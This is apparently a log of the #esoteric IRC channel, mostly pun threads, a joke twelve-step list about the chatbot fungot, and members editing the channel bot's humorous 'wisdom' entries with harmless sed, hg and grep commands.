can't do it yourself 00:12:41 hppavilion[1]: guess so. but i really should have submitted the picture under some fake name. you may have mentioned my dislike for anything combining the words " fnord" 00:12:42 just censor out zzo and oren 00:12:55 (I'm doing the whole thing. Deal with it) 00:12:57 Koen_: i think you're misspelling b_jonas somewhere 00:13:07 Wow, that was really coherent, fungot 00:13:07 hppavilion[1]: but your microexpressions aren't linearized, so you 00:13:23 yeah, typical of you 00:13:47 3) Make the decision to follow the word of fungot, not do what you yourself want and take your own path etc. 00:13:47 hppavilion[1]: paganini looks tasty when they're made of some fnord messages. :p 00:14:08 4) Make a searching and fearless moral inventory of yourself (whatever the hell that means) 00:15:21 5) Admit to fungot, yourself, and another human being or sentient bot the nature of your wrongs. Don't be vague; be explicit, give all the gritty details. Name the exact position and velocity of every fundamental particle that could have interacted with you (given the speed-of-light delay) over the course of your addiction 00:15:21 hppavilion[1]: you mean regular expressions? i'm confused... how did that happen? 00:15:38 shachaf: as i said, crap, but thanks anyway 00:15:53 6) Be entirely ready for fungot to hack into your brain (probably via Inception) and change your fundamental psyche so that you're better. Not creepy at all 00:15:58 oerjan: I didn't even read them. 00:16:04 * oerjan grins mani^Wadjectivally 00:16:05 7) Humbly ask fungot to remove your shortcomings 00:16:22 `? oerjan 00:16:34 8) Make a list of every person you harmed via logreading, and become willing to make amends to them all (here's the list: []) 00:17:14 Your mysterious adjectival cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. 00:17:17 `sled wisdom/oerjan//s/adjectival/renouned/ 00:17:29 wisdom/oerjan//Your mysterious renouned cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. 00:17:30 9) for person in people_we_hurt: if not dangerous: you.make_amends(person) 00:17:57 10) Continue to take personal inventory (seriously, what does that even mean?) and admit it when you were wrong 00:18:21 I think you're spamming the channel a bit here. 00:18:29 So much that my brilliant puns are being missed. 00:18:36 shachaf: Don't worry, it's only 2 more steps 00:18:46 hppavilion[1]: i suddenly have a hunch you might also read aaronson's blog 00:18:55 11) Mention fungot at least once a day, to improve your conscious contact with fnim, and to bring us closer to The Great Fnordian Empire 00:18:56 helloerjan. how goes the megalomania? 00:19:05 12) Evangelize. 00:19:16 oerjan: Never heard of this aaronson 00:19:52 Oh, I appear to have read his blog before, but not consistently 00:20:55 There was silence supreme! Not a shriek, not a scream, / Scarcely even a howl or a groan, / As the man they called "Ho!" told his story of woe / In an antediluvian tone. 00:21:15 Scarcely even a swat or a pan 00:21:26 what is that from shachaf 00:21:31 The Hunting of the Snark 00:21:35 http://literature.org/authors/carroll-lewis/the-hunting-of-the-snark/chapter-03.html 00:21:36 ah, right 00:21:42 "antediluvian" is in the original. 00:21:49 So much that my brilliant puns are being missed. <-- have no fair -----### 00:22:29 . o O ( does cackling count as reverbing? ) 00:23:30 are we reverb-berating? 00:24:04 that one deserves a high five 00:24:47 helloerjan. how goes the megalomania? <-- humongously great hth 00:25:21 is that how that is spelled? 00:26:02 the oatmeal has a lot of great dumb joke 00:26:03 s 00:26:20 such as: A cannibal went for a walk and passed his brother. 00:26:43 or: What does a cannibal do after dumping his girlfriend? Wipe. 00:27:08 @devils cannibal 00:27:09 *** "cannibal" devil "The Devil's Dictionary (1881-1906)" 00:27:09 CANNIBAL, n. A gastronome of the old school who preserves the simple 00:27:09 tastes and adheres to the natural diet of the pre-pork period. 00:27:09 00:28:18 that one deserves a high five <-- which one, there's a whole diluvian channel of puns here 00:28:23 i suppose no one can compete with Bierce 00:28:31 oerjan: reverb-berating 00:28:46 OKAY 00:29:15 and now my other canadian friend is retweeting terrible puns 00:29:35 it must be #WordplayWednesday 00:30:01 what's the difference between magicians and behaviorists? 00:30:36 oerjan: Well, *someone* didn't like being called antidiluvian for some reason. 00:31:35 he's not against floods. he's against pickled art museums 00:32:37 oh that magician thing is terrible, perfect for this channel 00:32:38 i'm not quite sure, but are you claiming i'm anti-le-louvrian 00:32:54 anti-dill-louvrian 00:32:59 aha 00:33:36 int-e: are you calling us a bunch of rats? 00:34:11 * oerjan still waiting for at least one punchline 00:34:15 no, I'm just calling the general level of puns here terrible... 00:34:52 "A behaviorist is someone who pulls habits out of rats." 00:35:00 well, if no one's groaning, no one's punning 00:35:06 * oerjan blinks 00:35:45 * oerjan tries to lift the anvil to drop on int-e, but his back gives in 00:36:08 * oerjan slumps down in the lawn chair 00:36:10 it wasn't even my own pun, google found it for me 00:36:36 * int-e blames quintopia for bringing it up. 00:36:37 The latest Pew survey reports that the U.S. would prefer way more laser gun sound effects. 00:38:39 ... 00:39:04 what? i know you already broke your back, and i'm standing way over here 00:39:34 precisely 00:39:56 @devils telephone 00:39:57 *** "telephone" devil "The Devil's Dictionary (1881-1906)" 00:39:57 TELEPHONE, n. An invention of the devil which abrogates some of the 00:39:57 advantages of making a disagreeable person keep his distance. 00:39:57 00:40:44 * oerjan ponders putting rocket boosters on the lawn chair. later. 00:41:31 oerjan: I would get off the chair first... these things tend to be big and heavy... you're liable to getting crushed. 00:42:21 maybe just balloons? 00:42:36 oh, Up! 00:42:58 int-e: i mean "on" in the generic sense hth 00:43:20 oerjan: you're liable to be crushed no matter how you install them hth 00:43:35 true, but not _before_ activating them 00:43:50 fair 00:43:51 * oerjan reconsiders. 00:44:11 no balloons, i can already see the drawbacks of that. 00:44:40 too bad. a chair tied to 99 red balloons has a built-in theme song 00:44:50 _and_ a nuclear war. 00:45:18 i'd like not to start that until after i built the bomb shelter. 00:45:24 ah right 00:45:48 as it happens, it would take 850 regular helium party balloons to lift a cat 00:47:29 about 106,000 3ft diameter helium balloons to lift an Up-sized house 00:50:24 I was hoping to find a what if on the topic... but apparently not... 00:50:37 i thought there was already one 00:50:39 wait, the TELEPHONE is an invention of the devil? 00:50:42 (not cats, but balloons) 00:50:43 But... but that means... 00:50:53 at least there's http://www.snopes.com/travel/airline/walters.asp 00:51:02 BURN TANEB! BURN HIM AT THE STAKE! 00:51:12 Why this time 00:51:14 hppavilion[1]: don't try to extract meaning from the devil's actions, that only traps you further hth 00:51:33 `? telephone 00:51:41 hppavilion[1], not everything was invented by me 00:51:52 any time there is any suggestion of deviltry or witchery, taneb is surely involved 00:51:53 telephone? ¯\(°​_o)/¯ 00:51:54 `? tanebventions 00:51:57 Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex. 00:52:22 that is a self-contradictory wisdom 00:52:22 Taneb: The telephone was a result of progress 00:52:33 Invention is transitive 00:52:45 quintopia: are you implying everything involves sex tdnh 00:52:45 Therefor Taneb is stan 00:52:53 "Tanebventions include...the universe...He never invents anything involving sex." 00:52:56 hppavilion[1]: we already established it's not hth 00:53:02 oerjan: I wouldn't deny it 00:53:04 oerjan: at the very least the universe involves sex 00:53:10 oerjan: And who told us that? 00:53:12 shocking 00:53:15 quintopia, sex was an emergent property of the universe 00:53:21 Not my fault 00:53:41 Taneb: And submarine jousting? 00:53:54 `? necessity 00:53:58 If necessity did not exist, it would be necessary for Taneb to invent it. 00:54:21 Taneb: did you just call sex magical 00:54:33 * hppavilion[1] refrains from pointing out that Taneb also invented the BBC 00:54:49 hppavilion[1]: very little sexy about the BBC 00:54:59 quintopia: Yeah, let's keep it that way 00:55:11 quintopia, no, emergent 00:55:18 Like, I don't think Langton invented highways 00:55:24 too late. rule 34 is has already emergent propertied it 00:55:39 Waaaait 00:55:41 `? rule 34 00:55:46 Taneb: no, they came via magic 00:55:46 rule 34? ¯\(°​_o)/¯ 00:55:55 I think that "taneb never invents anything involving sex" is contradictory with rule 34 00:56:05 I disagree 00:56:10 hppavilion[1]: no contradiction 00:56:18 the internet invents the sex parts 00:56:28 `? taneb 00:56:28 I think you ought to respect Taneb's wishes vis-à-vis inventions. 00:56:30 Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and voluminous but calm eyebrows. (See also: tanebventions) 00:56:37 `? tanebventions 00:56:39 Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex. 00:57:00 Taneb: Is it cube root of (eight genders), or (cube root of eight) genders? 00:57:03 Wait, does "taneb never invent anything involving sex" only apply to the colloquial, coital meaning of sex? Or does it also cover gender? 00:57:25 yes 00:57:32 hppavilion[1]: have you considered that necessity is the mother of invention 00:57:39 Hey, here's a Discord channel invite. https://discord.gg/013N9FTwO1RhOJgxs 00:57:44 shachaf, yes 00:57:47 quintopia: So (P1) bans Taneb inventing e.g. a wage gap? 00:58:09 For anyone who might happen to want to join for whatever reason. 00:58:12 hppavilion[1], gender and sex refer to distinct concepts hth 00:58:20 Taneb: or do they 00:58:21 Taneb: Yes, but I used gender to clarify 00:58:25 wage gap is definitely not a thing on the list. though apparently magical wage gaps coming emergently from tanebventions is plausible 00:58:42 Taneb: Because I don't feel like we constantly need to take that into account in everyday conversation 00:58:57 `sled wisdom/tanebvention//s/.$/, although rule 34 keeps sabotaging him./ 00:59:02 wisdom/tanebvention//Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex, although rule 34 keeps sa 00:59:06 darn 00:59:09 `revert 00:59:14 TOO MANY INVENTIONS 00:59:25 oerjan: Perhaps we just need to move it to a wikipage 00:59:36 hppavilion[1]: no. 00:59:37 `? hpstructions 00:59:44 there is no #esoteric wiki 00:59:50 and there does not need to be one 01:00:08 the road to hell is paved with good inventions? ... there should be room for a second pun to offset the first... 01:00:45 rm: cannot remove `/home/hackbot/hackbot.hg/multibot_cmds/env/.hg/store/data/canary.orig': Is a directory \ Done. 01:00:50 hpstructions? ¯\(°​_o)/¯ 01:00:51 Taneb: OK, Taneb, time to uninvent some things. 01:00:53 the road to porthello 01:00:54 :,( 01:01:12 `? inventory 01:01:12 `? lem 01:01:28 Taneb: In the Lem tradition, please start with things that start with the letter N. 01:01:54 there's room for more tanebventions, just not for dumb comments that aren't tanebventions 01:02:02 what about Lem? you mean the author of "Solaris", right? 01:02:17 law of excluded middle seems more likely 01:02:32 I meant the author, yes. 01:02:40 http://english.lem.pl/works/novels/the-cyberiad/146-how-the-world-was-saved 01:02:40 mm 01:03:05 A truly ngevd machine. 01:03:51 fair enough 01:04:11 No output. 01:04:23 Taneb: please read the above story hth 01:04:57 Stanisław Lem was a Polish logician who discovered the law of excluded middle. 01:06:55 [wiki] [[Stack Cats]] https://esolangs.org/w/index.php?diff=47182&oldid=47180 * Timwi * (+147) /* External Resources */ Esoteric IDE 01:10:31 unsurprisingly the sodium joke did not translate well into german... 01:22:34 In theory, 93% of sentences starting with "You know what they say" should end there 01:24:18 what is the german word for sodium 01:26:10 natrium 01:27:35 Did you read that story in German originally? 01:27:57 s/s/S/ 01:28:09 I don't think I had read it... I found it online just now. 01:30:02 -!- Kaynato has quit (Ping timeout: 244 seconds). 01:30:29 did they change sodium to some other substance? 01:30:53 it would only help to do so 01:30:53 . o O ( didn't lem write in polish, anyway ) 01:31:11 i don't think...? 01:31:29 surely. 01:32:57 "The Polish version was first published in 1965, with an English translation appearing in 1974." 01:33:01 of course he did 01:34:01 ok 01:35:41 some guy has added the story titles to wikipedia - but only in polish 01:36:30 well, nearly only 01:38:22 huh sodium is actually sód in polish 01:38:43 * oerjan didn't know any languages other than english did that 01:41:46 `? typoglycerine 01:41:49 Typoglycerine is an explosive that scrambles the letters inside a word. 01:42:24 `? tanebvention 01:42:25 Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, gazpacho, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex. 01:42:53 `? stephen wolfram 01:42:56 Stephen Wolfram is an esolanger with too much money and power. Taneb invented him. 01:42:57 `? weetoflakes 01:42:58 Weetoflakes are something Taneb invented; they taste sort of purple. 01:43:15 Taneb: You know, I always figured weetoflakes were a sort of fish food. 01:43:28 looks that there are many languages both with natr- and sod- 01:43:29 shachaf, they're just a mix of two breakfast cereals 01:43:39 `? the universe 01:43:41 The universe was invented by Taneb as an opposing force to oerjan. 01:43:42 Weetos and Cornflakes 01:44:00 I never heard of weetos. 01:44:11 Presumably cornflakes are just flakes of maize. 01:44:13 I'm not sure if they're sold outside the UK? 01:44:19 Where does the purple come from? 01:44:24 Synesthesia 01:44:44 `? gazpacho 01:44:47 You like Gazpacho and I like Gaspacho. Let's call the whole thing off! 01:45:03 Taneb: Did you actually invent gazpacho? 01:45:08 I did not 01:45:09 It doesn't seem like your style. 01:45:11 Oh. 01:45:17 we do have weetos in norway 01:45:20 Then why is it listed in tanebventions? 01:45:24 Beats me 01:45:27 `sled wisdom/tanebvention//s/gazpacho, // 01:45:33 oerjan, do you have cornflakes? 01:45:35 wisdom/tanebvention//Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex. 01:45:36 yes 01:45:45 oerjan, have you tried weetoflakes? 01:45:47 `? D-modules 01:45:49 no. 01:45:49 D-modules are just modules over the ring of differential operators. Taneb invented them. 01:45:59 i don't usually eat breakfast cereal 01:46:40 `? torus 01:46:43 Topologically, a torus is just a torus. Taneb invented it. 01:47:05 I haven't had weetos, and by extension weetoflakes, for years :( 01:47:49 `? klein bottle 01:47:51 klein bottle? ¯\(°​_o)/¯ 01:48:28 `le/rn klein bottle//A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside. 01:48:31 `? automatic squirrel feeder 01:48:40 Automatic squirrel feeders are just feeders in the category of automatic squirrels. Taneb invented them. 01:48:42 Learned «klein bottle» 01:48:52 `? go 01:48:54 Go is a common verbal game programming language invented by the Germanic Taneb tribes in the strategic territories of East Asia. 01:48:56 oerjan++ # insidious 01:49:11 nice 01:49:14 inside : outside :: insidious : outsidious? 01:49:30 `? klein bottle 01:49:33 oerjan: foiled by the slashes hth 01:49:33 ​/A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside. 01:50:02 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 01:50:04 argh 01:50:13 `le/rn klein bottle/A Klein bottle is like a torus, but more insidious. Taneb tried to invent it, but got trapped inside. 01:50:19 Relearned «klein bottle» 01:50:33 could've just `sedlast s'.'' 01:50:52 Hmm, `sedlast ss.ss 01:51:13 oerjan++ # insidious <-- argh. i _told_ you i sometimes pun without noticing, but you had to remove it... 01:52:37 . o O ( despite their name, Klein bottles come in all sizes ) 01:52:39 or did you 01:52:48 `? oerjan 01:52:50 Your mysterious renouned cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. 01:53:04 you did. 01:53:07 renound. hmm. 01:53:21 int-e: used to be adjectival 01:53:57 `? boily 01:53:57 renoun: To turn a concept that was once a /thing/, but then ceased to be (perhaps becoming a verb or adjective) back into a noun 01:53:59 ​"Only sane man" boily is monetizing a broterhood scheme with the Guardian of Lachine, apparently involving cookie dealing. He's also a NaniDispenser, a Trigotillectomic Man Eating Chicken and a METARologist. He is seriously lacking in the f-word department. He is also a renowned Capitalist. 01:55:10 What is #esoteric's traditional river-crossing puzzle? 01:55:39 are confusion and amusement moods? if not moods then what? 01:56:10 quintopia, emotions, maybe? 01:56:13 hppavilion[1]: there isn't one hth 01:56:13 quintopia: I suppose confusion is a state-of-thought, and amusement is a mood? Or a state of mood? 01:56:19 Taneb: Emotions are moods 01:56:26 hppavilion[1], I disagree 01:56:29 `` rgrep -i river wisdom 01:56:41 Taneb: can you invent a word that encompasses both please 01:56:47 quintopia, yes 01:57:04 oerjan: I'm pretty sure that for all non-empty categories C, there is an element e of C that is #esoteric's official member of C 01:57:08 No output. 01:57:20 (categories, sets, bags, classes, whatever) 01:57:24 hppavilion[1]: i'm pretty sure you're making that up. 01:57:41 oerjan: Need I axiomatically prove it? 01:57:41 `` rgrep -i river wisdom; echo oops 01:57:43 hppavilion[1], what's composition in the category of river crossing puzzles? 01:57:50 wisdom/rea:The Rea is the river flowing through Birmingham. It is jealous of the other rivers having four letters. \ wisdom/sauron:Sauron is the eponymous protagonist of the Lord of the Rings series. He serves primarily as narrator and the main driver of the plot. His heroic exploits include the resurrection of the Kings of Men and the conquest of 01:57:56 Taneb: ...good question. 01:58:11 OK, instead of categories, sets/classes 01:58:17 `` rgrep -l -i river wisdom 01:58:20 wisdom/rea \ wisdom/sauron 01:58:24 ok 01:58:24 If there's no composition, it's not a category, hence no offical #esoteric river crossing puzzle 01:58:33 Hm... 01:58:43 Taneb: I suppose I don't even know what the morphisms are 01:59:04 Wait! perhaps the morphisms are moves! 01:59:13 And a river-crossing problem is itself a category 01:59:35 hppavilion[1], I'm not sure you're using the right terminology 01:59:41 And, of course, the composition of two moves m, n is just making the move m then the move n 01:59:44 Taneb: I'm probably not 02:00:07 Taneb: What specific terminology is wrong? 02:00:14 Was it homomorphims instead of morphisms? 02:00:27 oerjan: Wait, that pun was without noticing? 02:00:31 Has hppavilion[1] discovered Cayley graphs? 02:00:38 shachaf: inisidious? 02:00:39 int-e: Nope 02:00:43 int-e: Yes. 02:01:00 `1 hogue wisdom/oerjan | grep pun 02:01:34 1/1: learn_append oerjan He sometimes puns without noticing it. \ 02:02:50 OK, if a river-crossing problem is a category, then each node is a state- basically, a tuple (s, d, p) where s and d are sets of cargo (s is at the source, d is at the destination) and p is basically SRC | DEST and represents where the boat is 02:03:19 `? hppavilion[1] 02:03:24 hppavilion[1] se describe en las notas al pie. ¿Porqué no los dos? Nadie lo sabe. 02:03:41 A (homo)morphism is a valid way to move- basically, changing p and possibly moving some subset of s to d or d to s 02:03:42 mmm. 02:04:02 You can only, of course, remove items from the set associated with the bank the boat is currently on for the current move 02:04:04 hppavilion[1]: Anyway, right now you're putting the nonsense into "abstract nonsense". 02:04:11 int-e: IT WORKS 02:04:33 int-e: IT MAKES SOME AMOUNT OF SENSE 02:04:33 shachaf: yes. 02:04:52 int-e: Sure, it'd probably be better to use game theory or something, but this way things are all categorical and happy 02:04:55 hppavilion[1]: not nearly enough. also, what's with the capital letters? 02:05:07 int-e: Anger? 02:05:38 int-e: But it fits some of the basics of category theory; I'm going to check the rest of the rules now 02:06:18 oerjan: OK, I don't remember why I removed it from wisdom/oerjan, but you can put it back if you want. 02:06:43 TOO LATE 02:07:34 Taneb: But anyway, there, I think I got it to work. 02:09:24 hppavilion[1]: so, lots and lots of things are categories. 02:09:28 I still think that this is a huge categorical mistake 02:09:35 If you have a collection of "ways of going from one thing to another", it's probably a category. 02:10:38 int-e: if that's a pun, I must insist you desist. It's a categorical imperative. You kant make puns about categories. 02:11:04 quintopia: indeed, they're simply not natural. 02:11:47 and we have to push back against this travesty. 02:12:12 there just has to be a limit. 02:12:41 -!- Kaynato has joined. 02:12:43 quintopia: I can see that you believe in swift and severe punishment. 02:12:50 oerjan: you lost me 02:13:04 push back? 02:13:10 shachaf: oops 02:13:25 * oerjan crawls away in shame 02:13:51 i guess you meant pushout? 02:13:53 don't category theorists push out instead, when they're not pulling back? 02:15:49 sorry for botchering this epic pun thread 02:16:12 . o O ( wait that's not a word either ) 02:16:16 is this where you raise the steaks? 02:16:50 no that's a pasture 02:16:57 it may not be a word, but it's mixing botching and butchery in a novel way... 02:17:21 -!- Phantom_Hoover has quit (Read error: Connection reset by peer). 02:17:28 `learn_append oerjan He sometimes puns without noticing it. 02:17:33 Learned 'oerjan': Your mysterious renouned cackling overlord emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a passion. Lately when he tries to remember a word, "amortized" pops up instead. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 02:18:05 bad karma has to be released. 02:18:08 `? amortized 02:18:10 An amortized word is a word that oerjan can never remember. 02:18:11 what happened to "too late" 02:18:23 some tool ate it? 02:18:45 `1 hogue wisdom/oerjan | grep chaf 02:19:00 1/4: sled wisdom/oerjan//s/adjectival/renouned/ \ sled wisdom/oerjan//s-retired --;s(rd(rd emeritus( \ ` sed -i s/sneaky/kind/ wisdom/oerjan \ ` sed -i s/kind/sneaky/ wisdom/oerjan \ ` sed -i \'s/evil/kind/\' wisdom/oerjan \ ` sed -i s/ante/anti/ wisdom/oerjan \ ` 02:19:09 `spam 02:19:10 2/4:sed -i \'s/l\\./l with a passion./\' wisdom/oerjan \ ` sed -i \'s/$/./\' wisdom/oerjan \ ` sed -i \'s/\\. He s.*//\' wisdom/oerjan \ ` sed -i \'s/famous/infamous/\' wisdom/oerjan \ ` sed -i \'s/hates/mildly dislikes/\' wisdom/oerjan \ ` sed -i \'s/famous/& mysterious/\' wisdom/oe 02:19:25 Aha. 02:21:11 `` culprits wisdom/oerjan | sort | uniq -c 02:21:26 ​ 1 oerjan shachaf oerjan oerjan oerjan shachaf oerjan oerjan oerjan shachaf shachaf shachaf oerjan shachaf shachaf shachaf shachaf oerjan oerjan int-e shachaf shachaf shachaf oerjan shachaf oerjan shachaf oerjan elliott Bike FreeFull shachaf shachaf ais523 ais523 elliott FreeFull oerjan FreeFull oerja 02:21:30 argh 02:21:42 `` culprits wisdom/oerjan | xargs -1 | sort | uniq -c 02:21:50 xargs: invalid option -- '1' \ Usage: xargs [-0prtx] [--interactive] [--null] [-d|--delimiter=delim] \ [-E eof-str] [-e[eof-str]] [--eof[=eof-str]] \ [-L max-lines] [-l[max-lines]] [--max-lines[=max-lines]] \ [-I replace-str] [-i[replace-str]] [--replace[=replace-str]] \ [-n max-args] [--max-args=max-args] \ [-s 02:22:04 `` culprits wisdom/oerjan | xargs -n 1 | sort | uniq -c 02:22:14 ​ 2 ais523 \ 1 Bike \ 2 elliott \ 4 FreeFull \ 1 int-e \ 1 nitia \ 15 oerjan \ 19 shachaf 02:22:52 `` culprits wisdom/oerjan | xargs -n 1 | sort | uniq -c | sort -n -r 02:23:02 ​ 19 shachaf \ 15 oerjan \ 4 FreeFull \ 2 elliott \ 2 ais523 \ 1 nitia \ 1 int-e \ 1 Bike 02:23:09 . o O ( there's probably a faster method ) 02:23:21 i knew it! 02:23:36 yes. there is. "don't do it" 02:24:29 OKAY 02:25:15 `le/rn derangement/"Green tandem" is a derangement of "derangement". 02:25:18 Learned «derangement» 02:26:11 `` culprits wisdom/oerjan | xargs -n 1 | uniq | sort | uniq -c | sort -nr 02:26:33 ​ 10 oerjan \ 9 shachaf \ 4 FreeFull \ 2 elliott \ 1 nitia \ 1 int-e \ 1 Bike \ 1 ais523 02:28:40 `? necessity 02:28:43 If necessity did not exist, it would be necessary for Taneb to invent it. 02:29:10 oh temptation 02:29:12 `? redundancy 02:29:15 redundancy? ¯\(°​_o)/¯ 02:29:39 `? temptation 02:29:40 temptation? ¯\(°​_o)/¯ 02:30:48 (redundancy is characterized by an absence of necessity) 02:47:51 int-e: Funny that you culprits | xargs -n 1, when culprits itself does the opposite. 02:56:59 http://www.ioccc.org/2015/muth/hint.html <-- bah, it requires giving a maximal number of steps in advance. 02:57:21 CLEAR FAIL 02:58:09 shachaf: still shorter than using hg log directly, no? 02:58:16 `cat bin/culprits 02:58:16 Sure. 02:58:18 hg log --removed -- "$1" | grep summary: | sed "s/ +/ /g" | sed "s/^ //" | awk '{print substr($2,2,length($2)-2)}'| sed "s/.$/\x0F&/" | xargs 02:58:23 culprits should use hogue 02:58:30 `cat bin/hog 02:58:32 `cat bin/hogue 02:58:32 hg log --template "{desc}\n" "$@" 02:58:34 hg log --removed --template "{desc}\n" "$@" 02:58:49 Hmm. 02:58:59 `` mv bin/ho{gue,ag} 02:59:06 No output. 03:00:16 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 03:00:30 Better to name it after an art critic than a pistol, isn't it? 03:00:40 i don't know. if we add sp* to commands that rarely need it, commands might clobber each other's output 03:01:51 Wait, what here uses sp*? 03:02:06 doesn't hogue? 03:02:10 `cat bin/hoag 03:02:12 hg log --removed --template "{desc}\n" "$@" 03:02:18 oh it doesn't 03:02:25 * oerjan was confused 03:02:48 `` rgrep -l sport bin 03:03:13 food -> 03:03:26 bin/udcli \ bin/5 \ bin/1 \ bin/macro \ bin/jq \ bin/units 03:13:26 Look at this Japanese emoticon: 03:13:26 o,=o, 03:13:30 It's valid Python. 03:13:54 @quote eat.a 03:13:54 dforsyth says: "c++ can eat a dick imo" 03:13:57 `? necessary 03:13:58 hm 03:14:00 necessary? ¯\(°​_o)/¯ 03:14:02 `? thank 03:14:04 thank? ¯\(°​_o)/¯ 03:14:09 @forget dforsyth "c++ can eat a dick imo" 03:14:09 Done. 03:14:11 @quote eat.a 03:14:11 workbean says: I think getting your dick suck must probably feel like a great achievement 03:14:20 What's with all these quotes? 03:14:38 Is this the product of some sort of vandalism? 03:14:44 @quote eat.a 03:14:44 workbean says: I think getting your dick suck must probably feel like a great achievement 03:15:12 @quote eat.a 03:15:12 quicksilver says: [about classes having the same name as constructs in other languages] t's like having a laxative called "after dinner mint", and people being upset when they were looking for something nice to eat after dinner. 03:15:15 @quote eat.a.comment 03:15:15 SamB_XP says: I once saw it eat a comment (:[{- Help! -}]) 03:18:12 Doink, I finally figured out why that one quote matched. 03:18:18 "great achievement" contains the substring "eat a". 03:19:24 One time Cale lost the quote database so I reconstructed it from #haskell logs. 03:19:35 It probably lost and gained a bunch back then. 04:19:20 -!- hppavilion[1] has joined. 04:33:23 <\oren\> ha "must probably" 04:35:17 <\oren\> i wonder how long i can standhere using their interbet[befire im arrested for loitering 04:51:02 Hm... 04:51:13 Is there a maximum possible length for a word in german? 04:51:55 I mean, obviously the words get unwieldy and impractical at some point- even for germans- but is there some actual, grammatical restriction that prevents you from making a word of indefinite length that carries meaning without redundancy? 04:54:39 no hth 04:56:01 oerjan: Are you sure? I wouldn't have thought chess games are necessarily finite either, but they are 04:56:26 chess games have rules against repetition 04:56:55 and less importantly, certain moves that are truly irreversible 04:57:29 (pawn moves and castling) 04:58:00 hppavilion[1]: I think you can make arbitrarily long words pretty easily. 04:59:00 hm wait you said without redundancy 04:59:15 well that's a semantic problem, i'd think 04:59:26 Like "Bierbierbierbierbier". 04:59:33 Meaning "beer beer beer beer beer". 04:59:48 i'd say that looks pretty redundant. 04:59:54 Yup. 04:59:55 `? redundancy 04:59:57 redundancy? ¯\(°​_o)/¯ 05:00:02 What is redundancy? 05:00:22 I guess int-e told us. 05:00:22 `le/rn redundancy/Since redundancy exists, it's redundant for Taneb to invent it. 05:00:28 Learned «redundancy» 05:00:39 i think int-e has had enough time to create it. 05:00:57 Well, if nothing else: if you have a sequence of, say, Graham's number of German affixes all in a row, then there must be at least one sequence of at least one million affixes which appears at least one million times. 05:02:36 but is it redundant if the subterms never repeat in meaning? 05:03:17 What is meaning? 05:04:10 Nullnachfolgernachfolgernachfolgernachfolger 05:04:25 that's 4 hth 05:05:10 (assuming that's the right word for "successor" in this meaning. wiktionary didn't show it in the right place.) 05:26:40 @tell b_jonas On the wiki, one shouldn't create a new page and redirect to it. One should use move, which also moves history. 05:26:40 Consider it noted. 05:28:01 The same thing is true on x86. One should use the mov instruction to move data, rather than copy it. 05:28:14 O KAY 05:29:19 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 05:47:59 -!- dnm has joined. 05:52:07 dnm: ready for another long night of not sleeping? 05:53:25 It turned out not to be that long. 05:53:39 Though late night booze and food did keep me awake until at least around 3:30 AM... 05:54:33 `? dnm 05:54:38 dnm? ¯\(°​_o)/¯ 05:54:57 `learn dnm does not mind. 05:55:05 Hah. 05:55:16 Learned 'dnm': dnm does not mind. 05:55:17 Or do you? 05:58:23 I suppose not. 05:59:49 -!- halvredin has joined. 05:59:53 Woo! I have OpenVMS licenses. 05:59:56 Now for media. 06:12:42 Why are you OpenVMSing? 06:23:23 -!- sewilton has quit (Ping timeout: 250 seconds). 06:24:32 -!- dingbat has quit (Ping timeout: 260 seconds). 06:25:05 -!- ocharles has quit (Ping timeout: 260 seconds). 06:25:07 -!- incomprehensibly has quit (Ping timeout: 250 seconds). 06:25:40 -!- lynn has quit (Ping timeout: 260 seconds). 06:26:22 -!- zgrep has quit (Ping timeout: 260 seconds). 06:28:25 -!- zgrep has joined. 06:29:47 -!- incomprehensibly has joined. 06:30:27 -!- sewilton has joined. 06:32:16 -!- dingbat has joined. 06:32:29 -!- ocharles has joined. 06:34:35 -!- lynn_ has joined. 06:35:17 -!- hppavilion[1] has joined. 06:41:35 -!- lambda-11235 has quit (Quit: Bye). 06:44:42 Fun. 06:44:46 Certainly not profit. 06:44:56 I want a system to hack BLISS in for no real reason. 06:46:50 [wiki] [[Stack Cats]] M https://esolangs.org/w/index.php?diff=47183&oldid=47182 * Martin Ender * (+1) 06:49:53 [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=47185&oldid=47157 * Martin Ender * (+17) /* S */ 06:52:26 -!- Kaynato has quit (Ping timeout: 244 seconds). 07:07:16 -!- augur has quit (Remote host closed the connection). 07:12:01 